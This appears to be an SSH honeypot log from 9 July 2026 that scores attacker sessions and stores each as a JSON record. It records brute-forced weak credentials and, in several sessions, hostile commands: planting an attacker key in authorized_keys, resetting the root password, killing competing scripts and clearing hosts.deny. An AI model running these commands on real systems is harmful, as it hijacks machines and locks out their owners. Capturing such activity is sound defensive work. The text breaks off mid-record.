Adversarial Observation Interface

139.19.117.197

2026-07-09 18:20:14.193620 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: root

Record ID: 7d0c2fd5fbde

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "7d0c2fd5fbde",
  "src_ip": "139.19.117.197",
  "start_time": "2026-07-09T18:20:14.193620Z",
  "end_time": "2026-07-09T18:20:24.192713Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "root",
      "pass": null
    },
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

101.96.225.252

2026-07-09 18:19:55.525030 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b78c58c9e03f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b78c58c9e03f",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:19:55.525030Z",
  "end_time": "2026-07-09T18:21:55.569371Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

34.229.166.45

2026-07-09 18:18:55.312616 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2975a90dc62d

Client Version: SSH-2.0-Go

Engagement Duration: 0.2s

HASSH Fingerprint: 9052c4ab4164c78256e71143dcfc7eac

{
  "id": "2975a90dc62d",
  "src_ip": "34.229.166.45",
  "start_time": "2026-07-09T18:18:55.312616Z",
  "end_time": "2026-07-09T18:18:55.510443Z",
  "duration": "0.2",
  "version": "SSH-2.0-Go",
  "hassh": "9052c4ab4164c78256e71143dcfc7eac",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

101.96.225.252

2026-07-09 18:18:34.103723 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7330f8bafe00

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7330f8bafe00",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:18:34.103723Z",
  "end_time": "2026-07-09T18:20:34.118355Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:17:11.022562 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: add14ff2e02d

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "add14ff2e02d",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:17:11.022562Z",
  "end_time": "2026-07-09T18:19:11.042581Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:15:50.959028 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f0259e3f5503

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "f0259e3f5503",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:15:50.959028Z",
  "end_time": "2026-07-09T18:17:50.973324Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

103.203.57.11

2026-07-09 18:15:41.692614 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c8703c38966a

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "c8703c38966a",
  "src_ip": "103.203.57.11",
  "start_time": "2026-07-09T18:15:41.692614Z",
  "end_time": "2026-07-09T18:15:41.754358Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

101.96.225.252

2026-07-09 18:14:27.673892 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 92f35ea4a58b

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "92f35ea4a58b",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:14:27.673892Z",
  "end_time": "2026-07-09T18:16:27.715353Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:13:05.808386 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: eea2dfaa088f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "eea2dfaa088f",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:13:05.808386Z",
  "end_time": "2026-07-09T18:15:05.850702Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

14.103.75.9

2026-07-09 18:11:50.013969 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7a8a6ff17cee

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7a8a6ff17cee",
  "src_ip": "14.103.75.9",
  "start_time": "2026-07-09T18:11:50.013969Z",
  "end_time": "2026-07-09T18:13:50.062071Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:10:26.899352 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 566c54a31af8

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "566c54a31af8",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:10:26.899352Z",
  "end_time": "2026-07-09T18:12:26.940444Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:09:17.425367 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0f1b4b7f2537

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 8.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0f1b4b7f2537",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:09:17.425367Z",
  "end_time": "2026-07-09T18:09:25.441010Z",
  "duration": "8.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

101.96.225.252

2026-07-09 18:09:10.475566 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a88087b64559

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a88087b64559",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:09:10.475566Z",
  "end_time": "2026-07-09T18:11:10.484769Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:09:05.094088 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / 235689

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l

[obs-node]:~$ echo "root:fVZjlhxhmXCE"|chpasswd|bash

[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

[obs-node]:~$ ls -lh $(which ls)

[obs-node]:~$ which ls

[obs-node]:~$ crontab -l

[obs-node]:~$ w

[obs-node]:~$ uname -m

[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l

[obs-node]:~$ top

[obs-node]:~$ uname

[obs-node]:~$ uname -a

[obs-node]:~$ whoami

[obs-node]:~$ lscpu | grep Model

[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

Record ID: 0d1210f1b22c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 41.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0d1210f1b22c",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:09:05.094088Z",
  "end_time": "2026-07-09T18:09:46.339873Z",
  "duration": "41.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "235689"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:fVZjlhxhmXCE\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:fVZjlhxhmXCE\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

101.96.225.252

2026-07-09 18:07:41.232729 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 05589a617251

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "05589a617251",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:07:41.232729Z",
  "end_time": "2026-07-09T18:09:41.237210Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

192.168.0.1

2026-07-09 18:06:45.020082 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2dcfac1975da

Client Version: Unknown

Engagement Duration: 0.0s

{
  "id": "2dcfac1975da",
  "src_ip": "192.168.0.1",
  "start_time": "2026-07-09T18:06:45.020082Z",
  "end_time": "2026-07-09T18:06:45.031953Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

101.96.225.252

2026-07-09 18:06:20.261178 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: edcf61f332f1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "edcf61f332f1",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:06:20.261178Z",
  "end_time": "2026-07-09T18:08:20.297043Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:04:58.188867 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2c27ab8e5004

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "2c27ab8e5004",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:04:58.188867Z",
  "end_time": "2026-07-09T18:06:58.207073Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:03:39.346900 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fcc2378c9497

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "fcc2378c9497",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:03:39.346900Z",
  "end_time": "2026-07-09T18:05:39.353068Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

161.132.206.148

2026-07-09 18:03:00.034016 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 1fc770958825

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1fc770958825",
  "src_ip": "161.132.206.148",
  "start_time": "2026-07-09T18:03:00.034016Z",
  "end_time": "2026-07-09T18:03:00.753559Z",
  "duration": "0.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

161.132.206.148

2026-07-09 18:02:58.210711 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: c456db7fe22d

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c456db7fe22d",
  "src_ip": "161.132.206.148",
  "start_time": "2026-07-09T18:02:58.210711Z",
  "end_time": "2026-07-09T18:02:59.923989Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

161.132.206.148

2026-07-09 18:02:56.500869 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / qwe123!@#

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 8c0b33bf898f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 4.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8c0b33bf898f",
  "src_ip": "161.132.206.148",
  "start_time": "2026-07-09T18:02:56.500869Z",
  "end_time": "2026-07-09T18:03:00.749823Z",
  "duration": "4.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "qwe123!@#"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

101.96.225.252

2026-07-09 18:02:19.238002 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ef3a2029af4f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ef3a2029af4f",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:02:19.238002Z",
  "end_time": "2026-07-09T18:04:19.264174Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 18:00:57.587733 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 814af5ee8a5f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "814af5ee8a5f",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T18:00:57.587733Z",
  "end_time": "2026-07-09T18:02:57.592192Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 17:59:37.159000 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 94b0cd7e8f5b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "94b0cd7e8f5b",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T17:59:37.159000Z",
  "end_time": "2026-07-09T18:01:37.201041Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

101.96.225.252

2026-07-09 17:58:16.120744 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b1cf6aa13b65

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "b1cf6aa13b65",
  "src_ip": "101.96.225.252",
  "start_time": "2026-07-09T17:58:16.120744Z",
  "end_time": "2026-07-09T18:00:16.162853Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

182.19.35.57

2026-07-09 17:57:26.358899 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: 29c08cff2bc0

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "29c08cff2bc0",
  "src_ip": "182.19.35.57",
  "start_time": "2026-07-09T17:57:26.358899Z",
  "end_time": "2026-07-09T17:57:28.073050Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin"
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

182.19.35.57

2026-07-09 17:57:24.434741 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: admin / 123456789

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: a824b4bfd015

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "a824b4bfd015",
  "src_ip": "182.19.35.57",
  "start_time": "2026-07-09T17:57:24.434741Z",
  "end_time": "2026-07-09T17:57:26.132990Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "123456789"
  },
  "commands": [
    "echo SHELL_TEST"
  ],
  "detailed_commands": [
    {
      "cmd": "echo SHELL_TEST",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

182.19.35.57

2026-07-09 17:57:22.466200 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / root123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ echo SHELL_TEST

Record ID: 6f20a915a451

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "6f20a915a451",
  "src_ip": "182.19.35.57",
  "start_time": "2026-07-09T17:57:22.466200Z",
  "end_time": "2026-07-09T17:57:24.208524Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root123456"
  },
  "commands": [
